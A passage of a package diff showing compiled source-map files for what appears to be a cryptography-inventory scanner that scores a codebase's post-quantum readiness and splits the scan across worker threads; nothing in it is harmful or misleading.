forgiving). */\nconst SCORE_SCALE = 100;\n\n/**\n * Fraction of the normal penalty a finding in test/fixture/example/doc code\n * contributes to the readiness score. Such findings are almost always test\n * vectors, sample keys, or the library's own algorithm enumerations — accurate\n * detections, but not the deployed crypto whose migration the score is meant to\n * track. Real-repo runs showed 60–77% of findings live in these paths, which\n * dragged the score of no-real-crypto codebases down unfairly. They still appear\n * in the inventory counts in full; only their *score* weight is reduced.\n */\nconst TEST_PATH_WEIGHT = 0.15;\n\n/** True when a finding's file path is test / fixture / example / documentation. */\nexport function isTestOrFixturePath(file: string): boolean {\n const f = file.toLowerCase().replace(/\\\\/g, \"/\");\n if (\n /(?:^|\\/)(?:tests?|__tests__|testdata|test-data|fixtures?|examples?|demos?|samples?|specs?|mocks?|docs?|benchmarks?|e2e)\\//.test(\n f,\n )\n ) {\n return true;\n }\n const base = f.slice(f.lastIndexOf(\"/\") + 1);\n if (/(?:^|[_.-])(?:test|spec)\\.[a-z0-9]+$/.test(base)) return true; // test.go, foo_test.go, foo.test.ts\n if (/^test_[^/]+\\.py$/.test(base)) return true; // python test_foo.py\n if (/^changelog/.test(base) || /\\.(?:md|markdown|rst|adoc|asciidoc)$/.test(base)) return true;\n return false;\n}\n\n/**\n * Compute a 0–100 readiness score. 100 means no classical asymmetric crypto was\n * found. Findings accrue a severity-weighted penalty (with per-bucket diminishing\n * returns), then the score is `100 * e^(-penalty/scale)`. Exponential decay keeps\n * the score responsive across the whole range — fixing findings always raises it,\n * and a large legacy repo lands low without pinning flat at 0 (which made progress\n * invisible under the old linear model). Tuned so one low ~97, one critical ~74.\n */\nexport function readinessScore(findings: Finding[]): number {\n if (findings.length === 0) return 100;\n\n const seen: Record<Severity, number> = {\n critical: 0,\n high: 0,\n medium: 0,\n low: 0,\n info: 0,\n };\n\n let penalty = 0;\n for (const f of findings) {\n seen[f.severity] += 1;\n const weight =\n SEVERITY_WEIGHT[f.severity] * (isTestOrFixturePath(f.location.file) ? TEST_PATH_WEIGHT : 1);\n penalty += penaltyFor(weight, seen[f.severity]);\n }\n\n return Math.max(0, Math.min(100, Math.round(100 * Math.exp(-penalty / SCORE_SCALE))));\n}\n\n/** Build the full inventory (counts + HNDL + score) from a set of findings. */\nexport function buildInventory(findings: Finding[]): CryptoInventory {\n const byAlgorithm: Partial<Record<AlgorithmFamily, number>> = {};\n const byCategory: Partial<Record<FindingCategory, number>> = {};\n const bySeverity: Record<Severity, number> = {\n critical: 0,\n high: 0,\n medium: 0,\n low: 0,\n info: 0,\n };\n let hndlCount = 0;\n\n for (const f of findings) {\n if (f.algorithm) {\n byAlgorithm[f.algorithm] = (byAlgorithm[f.algorithm] ?? 0) + 1;\n }\n byCategory[f.category] = (byCategory[f.category] ?? 0) + 1;\n bySeverity[f.severity] += 1;\n if (f.hndl) hndlCount += 1;\n }\n\n // Ensure all severities are present (seeded above to 0). SEVERITIES is the\n // canonical ordering and guards against missing keys if the type changes.\n void SEVERITIES;\n\n return {\n byAlgorithm,\n byCategory,\n bySeverity,\n hndlCount,\n readinessScore: readinessScore(findings),\n };\n}\n"]}
|
package/dist/parallel.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"parallel.js","sourceRoot":"","sources":["../src/parallel.ts"],"names":[],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"parallel.js","sourceRoot":"","sources":["../src/parallel.ts"],"names":[],"mappings":"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